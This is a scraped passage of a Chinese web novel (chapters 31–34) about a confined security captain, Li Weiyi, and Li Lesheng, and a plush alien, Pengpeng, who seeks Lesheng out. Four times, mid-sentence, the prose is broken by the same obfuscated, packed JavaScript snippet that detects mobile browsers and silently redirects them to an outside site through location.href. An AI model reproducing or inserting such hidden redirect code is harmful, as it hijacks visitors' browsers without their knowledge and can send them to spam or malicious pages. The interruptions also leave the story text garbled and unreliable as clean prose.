双方再次陷入沉默。 李唯一已经看到了最后一页,她的指腹因她思考的动作僵在纸张的尾端。 【多次带领纳德前往中部三川路的扭蛋机处做出友好动作】 【意愿并不在于扭蛋机内的物品】 【敲击玻璃制造噪音的目的是引来治安官】 …… 李唯一的眉头微皱,“三川路都有什么?” 她在这里困得太久了,因为限制器的缘故, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004208|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神力被封锁了,所以从状态上来讲就是个普通居民。 【感官剥夺效应】带来的脑部混乱还没有解除,做不到和平日里那样一心多用,现在能够思考和阅读,甚至没有出现生理性呕吐或者是失禁等等现象,已经算是意志力很坚定了。 “主要是【树菌族繁衍区】和分路的绿化小区域。”纳德连忙回答。 “树菌族。”李唯一闭上眼睛,她的脑子里似乎想到什么线索,但是需要寻找。 于是她变成了一个整理仓库的清理师,在自己的大脑仓库里疯狂的筛选信息,誓要找到那个被她遗漏在某个角落或是缝隙间的线索。 她定期是要去【树菌族】的研究室里听课学习的。 有个名叫谢春花的医疗官,也是曾经的研究院院长,如今负责的是树菌族的研究。 三川路的绿化区域并不由她负责。 …… 六天前,她带乐生去观赏【异常者安定区】,最后一战便是—— “是乐生?”李唯一忽然睁开眼睛,不可置信的看向了一旁一直沉默的李乐生。 纳德也有些惊讶,他显然不明白为什么是这个答案。 “蓬蓬是在那天之后的晚上,出现异常的。”李唯一的目光失去对焦,她开口将自己的猜测,或者说,她确定的事实说出来。 “它的异常其实更早,是在我带着乐生离开的。”李唯一想起来了。 进入【树菌族繁衍区】之前,她们二人就遇到了蓬蓬,一人一熊友好的握了手后,蓬蓬就不动了。 随后她们二人进了树菌族繁衍区。 而直到她抱着昏睡的李乐生走出隔离墙时,蓬蓬还在外面待着,没有离开,甚至扑向了她怀里的人。 “当时的我以为它是玩心大起,要缠着乐生玩。”李唯一继续说,“它一直用自己的方式呼叫治安官,要去大门外,它是要去找乐生。但是治安官们理解错了它的意思,觉得它是发脾气要出去,所以它换了个方式。” “一直带着别人去扭蛋机的地方,而且做出了要握手的动作,因为那天,它和乐生握了手。” “它想要你们带它出门,去找那天在扭蛋机附近,和它握过手的人。” 李唯一一字一句,缓缓吐出。 纳德瞬间醍醐灌顶。 结合着他这几天在蓬蓬面前看到的那些动作,完全串联,完全符合了。 于是这下变成了两个人都以一种古怪的、怀疑的目光盯着李乐生。 李乐生不由得紧张的抓了抓自己的脖子,尴尬的咧嘴露出了两排紧贴的牙齿,“是我对它不经意间做了什么不好的事情了吗?” 她听完了全程,也明白了个七七八八。 以为是她和那只布偶人握了个手,可能无意中造成了某种伤害。 莫名的就有点愧疚。 “不,你没做错什么。”李唯一连忙摇头,她将报告还给纳德。 对纳德说道,“这件事先别急着告诉【异常者安定区】那边,你先去告诉部长,懂吗?” 纳德点头。 【安定区】和【治安部】虽然从管理人员来说,都属于治安部,但是在行政方面却是平级的,双方都有直接和联邦政府交涉的权力。 如果他贸然将这件事的推测结果先告诉了朱莉·乔娜,对方就可以不需要治安部同意直接上报给联邦政府,届时联邦那边一旦下达【绝对指令】,尤其是要强行带走李乐生,治安部根本没办法阻拦。 但如果先压在治安部内,暂时不上报的话就有回转的余地。 “如果那边问起来的话,我就告诉他们,是蓬蓬想要找您。”纳德几乎是瞬间就想出了借口,“那天的事让蓬蓬记了仇,想要找您报复。它的情绪系统也一直没有被研究明白,这个借口应该是可以的。” 李唯一赞同的“嗯”了一声。 随后看向李乐生。 也许是有人闯入这片空白虚无的地界,让她看到了不一样的色彩,也接触到了真实的语言。 李唯一的疲惫之色竟然淡去了。 她的脸上浮现出一抹笑。 “还有十五分钟左右。”纳德自觉地后退,“我在拐角等你,乐生小姐。” “你和队长说说话吧。她会开心点。” 李乐生:“……嗯。” 32. 第 32 章 纳德走了,给两个人留下了勉强算是单独交谈的机会。 李唯一站起身,向李乐生这边走了几步,两个人隔着栏杆对视。 “你的脸色好差。”李乐生说道。 与平时相比,李唯一的模样不太健康,嘴唇有些发白。 双眼中的困倦与烦躁都遮掩不住,偏偏脸上又带着抹温和地笑。 让人觉得勉强,也觉得可怜。 “待的太久了,视觉感官有些影响,偶尔会出现幻觉,自然会产生点生理性的影响。”李唯一解释。 “不过只是小事。”她安慰道。 其实影响也不算小,在这种单一的、无声的环境中待久了,是个人都受不住。 更何况,手环被没收,空气的对流系统也被刻意改造过,而且这层楼是没有黑夜白日之分的,光影从不更变。 这就意味着她的感官回馈不会自然。 而她的异能被锁了,精神力无法释放。 如果不是一直靠着自己的脉搏和心跳次数来确定时间,她应该也会陷入迷失自虐的状态。 “对不起哦。”李乐生内疚的耷拉着眼睛,“因为我的事,让你被关在这里。” 纳德说过,她昏迷的时间,李唯一为了查找原因,在没有进行上报和批准的情况下私自去盘问【安定区】内的一些种族,还使用了武力,严重违纪。 所以被关禁闭了。 李乐生觉得内疚,同时心中也产生了一种无名的压力,她不希望李唯一这样。 “感觉,你说了很多对不起。”李唯一笑道。 女人一只手伸过来,用食指轻轻剐蹭了一下李乐生的脸颊。 “不要给自己身上揽责任,乐生。”李唯一收回手,指尖还残留着对方皮肤的触感,软软的,滑滑的。 嘴上继续,“我做这一切,是出于我的冲动,还有我的私心。” “并不是你教唆的,你甚至没有一丁点儿引导,所以没必要主动来承担这份并不属于你的错误。” 她说的很清楚,甚至有种见外疏离之感。 但仍让李乐生消除不了心中的愧疚。 “唉。” 李唯一忽然叹了口气,不加掩饰的沧桑与疲惫。 李乐生抬头,对上那双金眸,是晦暗的,无力的眼睛。 “好不容易见到你,讲点让我高兴的事吧。好不好?”李唯一放低姿态,弱弱的开口,“这几天有人欺负你吗?” “没有,大家都挺友好的。” “训练呢?觉得自己有没有长进?”李唯一继续问。 李乐生犹豫了一下,嘴唇抿了抿,“没有太注意……” “一个人很无聊,也没人分享。”她小声解释。 李乐生这时也顾不得什么内疚神伤了,李唯一问什么她就答什么。 李唯一的笑容加深,她是个很聪慧的人,自然知道李乐生这番话的意思。 李乐生想她了。 “我也很无聊,但是与你有些不同。” “哪里不同?”李乐生问。 “这里太单调了,也见不到你,更不会有人向我分享趣事。” “不如你跟我讲讲,你这几天都做了什么新鲜事儿呀?”李唯一顺着话题继续下去。 栏杆外的女人思索了会,“没什么特别新鲜的,就是每天都得去医院体检。” “不过身体的各方面指标都是很正常的,这几日我也没有出现过上次那种情况了,而且谢春花院长这几天我也碰到过几次,她说是【树菌族】的研究好像又有进展了,回来治安部特意组队汇报的。” “但涉及机密,所以没有和我细说。” “对了,林她好像不怎么喜欢我?这两天很难拿见到她,就算见到了她离得远远就会赶紧跑开,是不是我惹她生气了?” “我想着要弄清楚,又怕她还是不理我。要不我先去向她道歉吧?” “要不要买什么礼物给她呢?你觉得呢?” 心中想着没什么值得说的,可是真开了口,李乐生的话就止不住了。 李唯一:“她不会讨厌你的。” 李乐生歪歪头。 李唯一笑道,“那天是她送你回了房间,结果你就出事了。” “林表面上看着什么都不怕,但内心十分怕出错,她应该是觉得那天是自己的失职导致了你的脑部假死,所以不敢面对你。” 李唯一对自己的下属们基本都很了解,甚至比她们本人都要了解。 李乐生听完,心中那份不安忐忑的内耗感消失,取而代之的是愧意。 “哪能怪她呢?那么多机器都没检查出来,而且你都不知道原因,她更不可能知道了。” 在她心里,李乐生是最强的。 退游前,李乐生的战力就被她刷到了任务进度中的最强数值。 更不用提,那天纳德和冬也告诉了她,目前【诺城】的治安官里,李唯一依旧是最强的。 连最强都没有找出她脑部假死的原因,林更没必要自己主动背这个锅。 “对啊,哪能怪她呢?所以你也不要怪自己。”李唯一笑眯眯的,像只狐狸。 一只俊秀且智慧的狐狸。 “……你什么时候回家啊?”沉默后,李乐生问。 情绪不高,语气也不积极。 这应该是她最想问的,从进来之后的每一秒,这个问题就已经在她的心口盘旋了。 “晚上一个人待着,看夜景都没意思。”她抱怨道。 “明天你就能见到我了。”李唯一给出了回答。 李乐生肉眼可见的眼睛都亮了。 “真的吗?”她又问,想要确信。 李唯一点头,“真的,我不骗你。” “太好了,明天的什么时候?早上?中午?还是晚上?”她要问个明白。 李唯一笑出了声,两颗虎牙都露了出来,“应该是早上吧,说不定还能来得及为你做早餐。” 女人的欣喜之色更上一层楼,连忙回绝,“不要!明天早上我做饭给你吃,欢迎你回家!” “我会起的很早的!”李乐生做出了保证。 尽管治安队长并没有要求她如此。 但李唯一还是依着她,“好。” “你说我要不要去找个工作呢?我对这个城市的生活规则也算是很熟悉了,一直这样吃你的白饭,感觉有点像好吃懒做的米虫。” 李唯一:“我的存款足够你挥霍好几百年,更何况你并不是好吃懒做。” “你只是没工作,但是一直在阅读、锻炼,在认识新的事物,你依旧在发挥着自己的价值。” 李唯一觉得,在对于个人价值的层面上,她和李乐生的分歧有点大。 事实上,这不是李乐生第一次觉得自己【无用】了。 在她的认知里,似乎只有【工作】才能证明自己有用。 而她带给李唯一的快乐和幸福,那些情绪的满足与情感的抚慰,完全是没有价值的。 当然,这或许与之前李唯一没有表白有所关联,但不占主要因素。 李乐生的自我配得感实在是有些低了。李唯一有些苦恼的想。 十五分钟一点点过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018180|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却又过的很快。 纳德过来提醒要离开的时候,李乐生都没有察觉到时间竟已经到了。 “我要走了。” “乐生,让我亲亲你吧。”在李乐生转身的空挡,李唯一忽然开口。 李乐生脚步一滞,回头,不可思议,“啊?” “亲我?隔…隔着栏杆亲?” 她的脑子里已经浮现出了两个人嘴对嘴但是脸颊的肉被栏杆挤进去的画面,真的滑稽哎。 “手伸进来。”李唯一见李乐生没有拒绝,反倒是重点歪倒了亲吻的方式上,索性直接提出了要求。 李乐生照做,伸过手去。 女人握住了她的手腕,低头,轻轻的吻住了她的指尖,她的鼻尖也贴在了李乐生的大拇指附近。 热源就那样悄无声息的扩散。 几秒过后,李唯一的睫毛颤动,她睁开眼,放下了李乐生的手。 一个不带任何情欲的吻,也是一个让李乐生心脏怦怦直跳的吻。 “之后见。”李唯一笑着告别。 李乐生点点头。 随后跟着纳德,两人脚步一刻不停的离开了禁闭室。 入夜。 【诺城】陷入了大片的寂静,但窗外的灯光闪烁依旧不停。 李乐生躺在沙发上,无聊的看着窗户外那些层次分明但又互相融合的云雾。 由近及远,颜色也由浅变深。 漆黑的暮色下,这些云因为折射了地表建筑中散发出来的光,反倒依旧是片片灰色的白。 她又想起李唯一所在的禁闭室,也是白色的,只是那白让人焦躁心烦,想要逃离。 不像这些云,让人想要触碰,想要踩一踩。 睡着的时间连她自己都不知道。 只是缩在沙发上的身体忽然有点晃,与此同时,她的胳膊也有点不舒服,耳畔也被什么磨着,很不舒服。 迷迷糊糊的,李乐生睁开眼,她的脸触碰到了一个冰凉的东西,吓得她眼睛瞬间睁大。 再抬头,昏黄的灯光中,她看到的是一枚金色的圆形可佩戴的徽章。 李乐生连忙抬头,她被女人抱着,对方也正低头看着她,似笑非笑,神色温柔。 “李唯一?”她不确定的叫了一声对方。 “是我。”女人回答。 李乐生伸手就去摸女人的脸,触觉倒是很真实,紧接着那只手就变成了捏。 “嘶……”李唯一闭上了只眼睛,做出了个龇牙咧嘴的表情。 李乐生连忙放开手。 “怎么忽然这么暴力的对我?”李唯一将她放到床上,“又睡在沙发上,落枕了有你好受的。” “看来以后得换个能让你睡觉的。” 李乐生看着自说自话的女人,脑子似乎还有点不清醒,“已经早上了吗?可是天还很黑啊。” “没有,还是晚上呢。” “可你说明天早上回来。” “想给你一个惊喜,结果没想到今天晚上你睡那么早。”李唯一道。 “睡吧,我去洗漱。”她伸手揉揉李乐生的头发,随后进了浴室。 在簌簌地水声中,李乐生地困意再次来袭。 她入睡地很快,也很沉,甚至梦到了一只蚊子不停的在她耳朵旁嗡嗡叫。 吵得她睡不安稳。 “我能抱着你睡吗?乐生?” “乐生?” “我很想你。” “真烦……臭蚊子。” “睡得可真够沉的。”李唯一的手摩挲着那缕黑色的头发,最终松手,闭上了眼睛。 33. 第 33 章 “目前来看,这一周的检查结果都显示各项数值是正常的。以后就改为每周来体检一次吧。” 身穿白色外衣的医疗官对着浮空屏幕的体检报告观察了一通,向双李做出了通知。 李乐生听话地点点头。 “每周三或周四来一趟,虽然之前的病因我们依旧一筹莫展,但研究院已经开启了关于大脑的新项目了,我想乐生小姐多加配合的话,很快就能找出病症源头了。” “我一定努力配合!”李乐生连忙应下。 她还有点不好意思,这么大的一个医疗院,竟然为了她一个人开展了个新的研究项目组,听说投入了不少厉害的医疗官。 尽管大家都是对她这种【非常规脑部假死】的情况感兴趣,都是为了挑战这个毫无头绪的疾病,但毕竟是因她而起。 放在任何一个人身上,面对这种极度重视的情况,都会很有压力。 “平时不检查的时候,要是有用到我的地方,我也会配合的。”李乐生像是一个面试工作的新员工在老板面前努力的表现自己,但又生怕表现的太过头引起反感,以至于她明明是在说帮忙,心里却觉得自己在给别人添麻烦。 沈佳妮,即现在与李乐生沟通的医疗官,同时也是之前出现在李乐生病房里的寸头女医生。 她听到李乐生的话,那双眼睛不带任何情绪的迅速扫过李乐生的脸,又笑道,“乐生小姐,你是患者,治病救人是我们医疗官的职责,你不用为自己的病感到抱歉。” “更何况,【厄斯星】的科技水平早在旧时代就已经实现了【基因更改】的生物科技,只是后来考虑到自然进化更符合星球发展规律,所以我们的星球禁止了很多的【基因技术】。但这并不代表我们的生物科技被全面封锁,我们依旧在进化。” “尽管万年前【星球出逃】的确也让全球的发展脚步停滞了百年之久,但我们的祖先很快就修补了星球的创伤,并在这个维度中依旧让【厄斯星】发展到如今这般强大。” 沈佳妮简单的概括了【厄斯星】的医学发展史,为李乐生描述了星球生物技术的强大,最后说道,“相对于【厄斯星】,乐生小姐你所在的世界,无论是星球还是时空,都是十分落后的,如果我们连你身上的病都治疗不了,才是耻辱。” 李乐生:“……那,你们加油。” 她觉得对方确实是在安慰她,但是也确实让她小小的破防了。 果然,实话有时候真的会伤人,善意的谎言是有必要存在的。 可恶。地球给我加油!李乐生在心里默默的记小本本,无声的为自己的家乡打气。 “你不做检查吗?”二人离开的时候,李乐生有些担心的扯着李唯一的袖子。 然而这话刚问出口,她就后悔了。 社死的回忆再次袭击了她的大脑。 早上她睡到自然醒的时候,李唯一还睡着,甚至她经历了一系列洗漱的动作,在做饭的时候不小心摔了一个盘子,虽然没摔碎,但是声音很响,但李唯一依旧睡得很熟,丝毫没有醒。 只是一动不动的躺在床上。 直到九点,都没有转醒。 李乐生叫了对方好几声,声音一次比一次大,都没有唤醒对方。 她连忙查看手环状态,发现李唯一的身体指标是正常的。 但还是学着看过的电视剧场景,把自己的手指凑到对方的鼻尖,探着对方的呼吸。 呼吸也正常啊。 怎么就是醒不过来呢? 她甚至都怀疑是不是李唯一的身体被植入了什么特殊的惩罚装置?会令她强制进入睡眠那种之类的。 李乐生甚至从柜子里掏出了探测仪,一把撩起女人的衣服,在那光滑紧致的身体上扫描起来。 “哇塞!好漂亮的腹肌……”她一手撩着李唯一的衣服,另一只手拿着球状扫描仪靠近,结果还没开始扫描呢,两只眼睛就先被对方那线条甚是明显的腹肌块吸引了。 欣赏了几分钟后,她猛然想起自己是要干什么的。 赶忙甩甩脑袋开始扫描,正面没有发现任何特殊植入物。 又将对方推着翻了个面,像是煎锅里的鱼似的。 再次扫描了一番。 除了又被对方那漂亮的背脊再次惊艳,依旧没发现多余的东西。 只那纤细、紧致的线条,让李乐生羡慕了好久。 “还要看多长时间啊?”她正幻想着这些肌肉如果长在自己身上,得多么的【穿衣有型,脱衣显瘦】,甚至脑子里已经搭配出了一套体育生耍帅的动作,忽然就被一个声音击碎了这些幻想。 回神,她的眼睛视线前移,看到的是趴在床上,但脑袋向着她的李唯一。 女人不知何时睁开的那双眼睛,正略带探究的盯着她。 李乐生立马一把将对方的衣服拉下来,“你……你醒了怎么不出声?” 她率先批评李唯一,忽然又察觉自己的状态不对,她又不是偷窥狂被人逮到了,她是在帮李唯一排查身体异状啊。 “我没有偷看你!我是在帮你检查身体,你一直没醒,所以我就很担心,我以为你是被植入了什么芯片让你强制睡眠呢……” 李乐生跟倒垃圾似的,叽里呱啦说了一大串,努力的为自己解释。 只是说着说着她自己都心虚起来。 李唯一还什么都没说呢?她急着说这么一大堆话,怎么有种此地无银三百两的狡辩感? 越描越黑! 李乐生攥着那球形扫描仪,脸色很难看的,无力但又坚持,“我真的不是那种爱偷看别人身体的猥亵犯。” 女人下床,将扫描仪从李乐生手中拿走,掂量着,“我知道你不是。” “我睡的太久了,吓到你了吧。”李唯一转头,对着李乐生微笑。 李乐生点头,“怎么叫你都叫不醒……然后我就,脑子有点抽风了……” 李唯一按了一下扫描仪的某个按钮,随后放开,球形扫描仪的头顶忽然长出一个小小的螺旋桨,旋转着飞出了房间。 按照体内的指令回到了自己原本待着的展柜里。 “是我的疏忽,昨天应该告诉你的,抑制器解除后,我的精神力会修复我的大脑,所以在睡眠时间里会屏蔽我周围的一切感知,除非遇到生命威胁,否则在修复完成之前是不会醒的。”李唯一给出解释。 这倒是让李乐生安心了点。 “那你现在是彻底恢复状态了吗?”李乐生问。 李唯一点头给予了回应。 “不过……”女人忽然将自己的衣服撩起来,“这个你想看的话,随时都可以,你喜欢就好。” 站起来后,那腹肌更漂亮更立体了。 李乐生瞬间脸红,一把将对方的衣服拉下来。 “我都说了我不是偷窥狂猥亵狂了!” “我知道你不是,但是你看它们的眼神里有喜欢,我很高兴,所以……” “住嘴!去刷牙洗脸。” “哦,好的。” “不用检查,异能者的精神力只要没有处于枯竭状态,身体的各项机能是不会出问题的。”李唯一温声解释着,她很敏锐的看到了李乐生不自然咧嘴偏头的尴尬小动作。 不须多想,她就猜到了对方因为什么而尴尬。 李唯一很识趣的忽视了对方的这一小动作,很自然的做出了什么都没看见的样子。 默默的等着李乐生自己消化掉这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035127|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份情绪。 二人穿过室外的街路,一路上遇到了不少同事,不过都只是点头打个招呼,没有驻留交谈。 直到穿过一阵梧桐树的叶影,李乐生的头顶忽然产生了一个很轻微的被碰触的感觉,几乎是同时,有一道粉色的影子从她的视线中落下。 她连忙停下步子,看到了躺在地上的一只……只有巴掌大的粉色小玩偶——一只小狐狸。 “从树上掉下来的?”李乐生将其捡起来,抬头看着簇拥成伞的树叶,“哪家小孩不小心扔上去的吗?” 李唯一:“我通知全频道问问吧。” “我是李唯一,治安部训练场东路捡到了一只遗失的玩偶,丢失者记得来A组大楼的办公室取回。” 对着手环简单说明了情况后,李唯一关闭悬浮框,带着李乐生回了办公室。 一进办公室,三个手下正聚在中间的地毯上。 纳德像一条死鱼侧躺这种,脸朝着门口的方向,双目呆滞,只叹气不说话,面如死灰。 林和冬两个人坐在他一左一右。 林拍着他的肩膀以示安慰,没有说话,一切尽在不言中。 冬手里还端着杯不知道是什么的现做饮品,“嗨呀!那又不是你的本职工作,你这么焦虑干嘛呢?要我说啊——” “哎?队长!你回来啦?”冬正说着,余光扫到门口的二人,立马站了起来。 “中午好啊乐生小姐。” 李乐生回了个微笑,“中午好。” 这下另外两个人站了起来,李乐生看过去,发现林依旧躲着她。 “发生什么事了?你看起来状态很差。”李唯一走到办公桌前,开始调用这些天的报告,顺带问了一嘴纳德。 纳德再次长叹一口气。 “还不是蓬蓬啦!”冬成了纳德的传话筒,“今天蓬蓬从早上开始就一直不理人,进入了待机状态。” “纳德使劲浑身解数都没能让蓬蓬理他,然后呢【安定区】那边的负责人又一直催进度,咱们小队里这个老实人就陷入了焦虑的状态。” “没有说队长你不老实的意思。” 冬还不忘给自己的话打补丁。 “队长,我有个不成熟的想法……”纳德一把捂住冬的嘴,强挤出一抹友好的微笑,看向李唯一。 李唯一瞥了他一眼,转头看向身旁的李乐生。 李乐生忽然发现,室内每个人都看向了自己。 “?”她左顾右盼,甚是疑惑。 “纳德想要你和蓬蓬见一面,看看有没有效果。你要去吗?”李唯一问。 她其实不希望李乐生去,但是选择权在于李乐生。 而且,这也不失为一个让李乐生重新思考自身价值的机会。 “我当然可以啊,如果能帮上忙,和蓬蓬待多久我都可以。”李乐生说道。 衣兜的部位忽然传来一阵异样。 她疑惑伸手,然后从里面掏出了那只见到的小狐狸玩偶。 不,确切的来说。 是那只小狐狸抱住了她的大拇指,被她提了出来。 李乐生愣了一下。 随后,那只小狐狸忽然动了,它忽然跳了下来,直接落在了桌面上。 在所有人的目光中。 小狐狸在桌面上转了一个圈,又抬起头,双手做了个搓手的动作,然后朝着李乐生伸出一只手。 这个熟悉的动作让其他人瞬间惊觉。 “蓬蓬?”纳德的声音有些颤抖,他不敢相信地看着那只小狐狸。 小狐狸转过身来,做了个点头的动作。 然后又转过身,转圈,搓手,伸手。 三个治安官当即都变了脸色。 34. 第 34 章 【异常者安定区】是设置了专门的监测设备的,监测可控范围呈现的是球状立体的空间,甚至延伸到了安定区地下五十里的纵深空间。 不说正常的大门出入口,即便是有人想要通过其他的地方出入此地,都会被第一时间检测到。 可现在蓬蓬却出现在了治安部。 并且,他们根本没有收到监测治安官那边的预警通知。 这到底是怎么回事? 四个治安官无一例外都是百思不得其解。 对【布偶人】的研究也一直没有进展,尽管目前从【布偶人】身上能够得出【无攻击性】这个事实,但一个外星人可以随意突破治安部的监测网在【诺城】随意游荡还不被发现,不管TA是否无害,这都不是个好消息。 “冬,立马联系【安定区】那边的常驻部门,让他们将蓬蓬今日的所有监控画面都传过来。”李唯一立马传达命令。 “你现在立马利用自身权限调出今天早上,不,从昨天晚上到目前一切世间的监测数据,并且让检测院那边进行实时同步。如果有人提出异议,就报我的编号。”吩咐完冬,她的眼睛又看向林。 二人前后点头,纷纷回到自己的办公桌前打开了桌面工作台。 事实上利用手环也可以直接做,但一般在部门里,大家都默认使用工作台,治安官的手环主要是在战时进行紧急指挥的。 反正每次回来后,还得将所有的行动报告再次备份到自己的工作台。 “蓬蓬!你为什么会来这里?”纳德的声音里满是崩溃。 蓬蓬的行为如果被上层知道,基本是要被【抹杀】的,他一点都不想让这个可爱的布偶人死啊! 纳德跪在地板上,双手扒着李唯一的办公桌边沿,脸色难看的要命。 李唯一懒得去安抚纳德此刻的脆弱心情,她低头,五根手指在工作台上划动,调取着各种数据,一边让林和冬的工作台与自己的工作台进行终端连接,一边在数字键盘上打着要发给安娜的报告。 “先不要碰它。”她提醒着李乐生。 对于布偶人,她没有纳德那么深厚的情感,甚至可以说是无感。 大多数治安官都会因为布偶人可爱毛绒的外表对TA们有一种无意识的宠爱和纵容心理,这也是这个族群明明很多,但是在【安定区】内依旧可以随意跑动的原因之一。 一个无害的萌物,不需要喂食,也不会排便,这就意味着不需要人照顾,相反TA们还能带给人们很多心理和情绪上的治疗。 但这种萌物对李唯一没什么用。 “我没碰,但是它一直在拉我的衣服。”李乐生听话的没伸手,甚至还把两只手都背到了身后。 但是桌面上的小狐狸正双手夹着她的衣摆边缘,扯动着。 力气不大,好几次衣服都滑出去了。 但蓬蓬会坚持去扯她的衣服。 反复几次,蓬蓬泄气的站了几秒钟,随后抬头,光溜溜的黑眼珠就盯着李乐生。 毛茸茸的只有手掌大小的小狐狸,整个身上都散发着一股可怜委屈的气息。 李乐生都有点心软了。 而旁边的李唯一还在发报告。 李乐生看了一眼工作台上显示的框,各种监测峰值的动态数据图、【安定区】那边的监控,还有监测院那边发来的申请框……一大堆窗口显示。 李乐生忽然意识到不对,立马快步离开,坐在了一旁的沙发上。 我的妈呀!差点就涉及到她们的工作内容了。 李乐生虽然没有当治安官的经验,也没有在治安部工作过,但她早就背过治安部的守则了。 像这种时候她身为家属是绝对不能参与到工作中的。 只看了一眼应该没事吧,应该不会惩罚李唯一吧?她双腿端坐,两只手放在膝盖上,右手食指敲着膝盖,紧张的舔着嘴巴。 她其实都没看懂那些数据,应该无伤大雅。她想。 她是真的不想让李唯一受罚了。她的李唯一可是昨天才从禁闭室回来啊。 正待此时,一个粉色的小东西出现在了她的鞋边。 蓬蓬见李乐生离开了办公桌,自己也跟着跳了下去。 “蓬蓬啊!”纳德叫的撕心裂肺,伸手就接住了小狐狸,哪知道他还没喘口气,小狐狸就从他手上也跳下去了。 迈着那小的可怜的步子跑到了李乐生的面前。 好可爱。小狐狸趴在李乐生的鞋面上,两只手前后轻轻拍着李乐生的鞋子,惹得李乐生心里痒痒的。 “不行啊!李唯一不让我碰你。”虽然很想rua这只毛绒狐狸,但是李乐生依旧把李唯一的命令放在第一位。 小狐狸愣了一下,忽然跑了回去。 李乐生以为对方是重新爬上办公桌,心里还想着,这毛绒玩偶该怎么爬上那光滑的木板。 结果就看到小狐狸跑到了办公桌后,李乐生歪着身子,脖子也歪着,看到了办公桌后,那小狐狸站在李唯一的脚边,抬起那小拇指粗细的腿,一下一下的踹在李唯一的靴子侧边。 好像是在发脾气。李乐生才猜想,应该是因为那句“李唯一不让我碰你”。 报告显示已接受。李唯一回应着监测院那边的申请,任由那小毛绒狐狸对自己的靴子踹来踹去。 一个重量跟鸡蛋差不多、个头还不如她整个手掌长度、体内全是棉花的小东西,踹在她的靴子上只能说不痛不痒。 就跟一张纸被风吹起后又落在她鞋子上一样,根本没感觉。 “要不,我先出去自己待会儿?”当李唯一收到安娜发来的语音窗口时,纠结许久的李乐生开口。 李唯一转头,不理解的看着李乐生。 “根据治安官的规则,这种异常生物的工作,是不能让家属知道的。”李乐生眼珠子转了转,“第十条写着的。” 她没有全文背诵,因为内容太多了,里面的条例有二级、三级标题,加起来都要八百字了。 李唯一一直没有提,她有点担心是对方注意力全集中在工作上,忘记了还有她这么个非公务人员的存在。 只好出言提醒。 “不用,蓬蓬是来找你的,你属于调查的一环。”李唯一回答完又说道,“所有【布偶人】的监控画面都传过来。” 这话自然是和自己的下属说的。 “马上。”冬头也不抬地回应。 这时,李唯一接通了安娜的语音窗口。 “过了十多秒才接?你干什么呢?”被李唯一转化成立体悬浮框的窗口上是安娜批评的模样,“刚关完禁闭还想进去!?” 安娜吼道。 “没有那个心思。”李唯一诚实的回答,似乎完全没听出来自己老师话里的阴阳怪气,“老师,麻烦您尽快批准报告。” “你在开玩笑吗?这种事情你让我同意?联邦政府那边如果抽查【诺城】的数据库,查到这份报告你让我怎么办?” “让整个治安部怎么办?涉及到这件事的除了你和我,还有你的队员,还有【安定区】和监测院那边的同事,你想让几十个人跟着你一起受罚。” 悬浮框上正面两面都能看得到安娜发怒的那张脸,带着不容置疑的威严。 “还有纳德?你这个姿势是在做什么?跪在地上给我磕头吗?” “对不起!部长!”纳德迅速站起来,双手背在身后,直挺挺的看向前方。 该出去的。李乐生双手不由自主地攥紧,指甲都掐进了肉里。 好尴尬。真的好尴尬。 她低着头瞅着地板,努力的让自己没有存在感。 此刻的她恨不得自己是个聋子。 “监测院和安定区那边我已经给了答复,只要您同意这份报告是【分城自理事务】就行了。”李唯一对于安娜的怒气并不恐慌。 “在这期间我会查出来到底发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049208|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事。如果联邦政府发现了报告,到时候我…”李唯一的目光落在沙发角的女人身上,继续说道,“我会承担一切责任。” 安娜觉得她跟自己这个学生说不通。 A组的办公室顶端所录制的监控画面都在她面前的悬浮框上,其中还有三四个悬浮框,分别是李唯一、林、冬和纳德。 在她的语音窗口被李唯一接通的那一刻,其他队员的工作台自然也开启了录像功能,只是纳德和李唯一出现在了一张悬浮框上,而属于纳德的录像框是未连接的一片黑色。 她看了一眼全景监控里,沙发上的李乐生。 说真的,对于李唯一这个心上人,她目前没有太大的好感。 